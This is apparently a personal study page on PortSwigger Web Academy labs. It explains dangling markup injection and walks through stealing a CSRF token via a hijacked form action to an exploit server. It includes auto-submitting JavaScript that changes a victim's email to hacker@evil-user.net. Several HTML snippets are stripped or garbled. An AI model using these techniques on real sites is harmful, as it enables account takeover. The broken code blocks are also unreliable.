> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/xss/markup-injection.md). # Markup Injection ### What is dangling markup injection? Dangling markup injection is a clever exfiltration technique used when full XSS is blocked (by filters, CSP, escaping, etc.) but you can still inject *some* raw HTML into the page. Let's break down exactly how it works. #### The setup: unsafe reflection Imagine the app reflects your input into an HTML attribute like this: ```html ``` If the app doesn't filter `>` or `"`, you could normally try to break out and inject a ` ```

ecause when a `

` gets submitted, the browser includes **all the input fields currently in the form** — including the real, legitimate hidden CSRF token input that the actual page already has embedded (from earlier in the real HTML, before this injection point). By hijacking where the submission goes (via `formaction`) while keeping all the form's actual fields intact, the attacker tricks the victim's own browser into **sending the real CSRF token straight to the attacker's exploit server**, disguised as a normal-looking button click ("Click me"). Since it's a GET request (`formmethod=get`), the token ends up as a query parameter on the exploit server's URL — e.g., `https://exploit-server.net/exploit?csrf=abc123&email=blah@blah...` — which the attacker's server logs. This all happens before the "Click Me Button" appears. The person goes on the exploit server, the else statement runs- and redirects to a lab website with xss in the url and they click on it and it lands them to our website with the crsf. ### Second Run ``` if (csrf) { // If a CSRF token is present, create dynamic form elements to perform the attack. const form = document.createElement('form'); const email = document.createElement('input'); const token = document.createElement('input'); // Set the name and value of the CSRF token input to utilize the extracted token for bypassing security measures. token.name = 'csrf'; token.value = csrf; // Configure the new email address intended to replace the user's current email. email.name = 'email'; email.value = 'hacker@evil-user.net'; // Set the form attributes, append the form to the document, and configure it to automatically submit. form.method = 'post'; form.action = `${academyFrontend}my-account/change-email`; form.append(email); form.append(token); document.documentElement.append(form); form.submit(); ``` The first thing we do is create our own HTML form. ``` const form = document.createElement('form'); // Creates:

const email = document.createElement('input'); // Creates: const token = document.createElement('input'); // Creates: form.append(email); form.append(token); ``` At this exact moment, these elements are completely blank, and they are floating around in the browser's memory. They aren't visible on the webpage yet, and they don't do anything. However, we then set those names/ids ourself. After appending these: ``` ```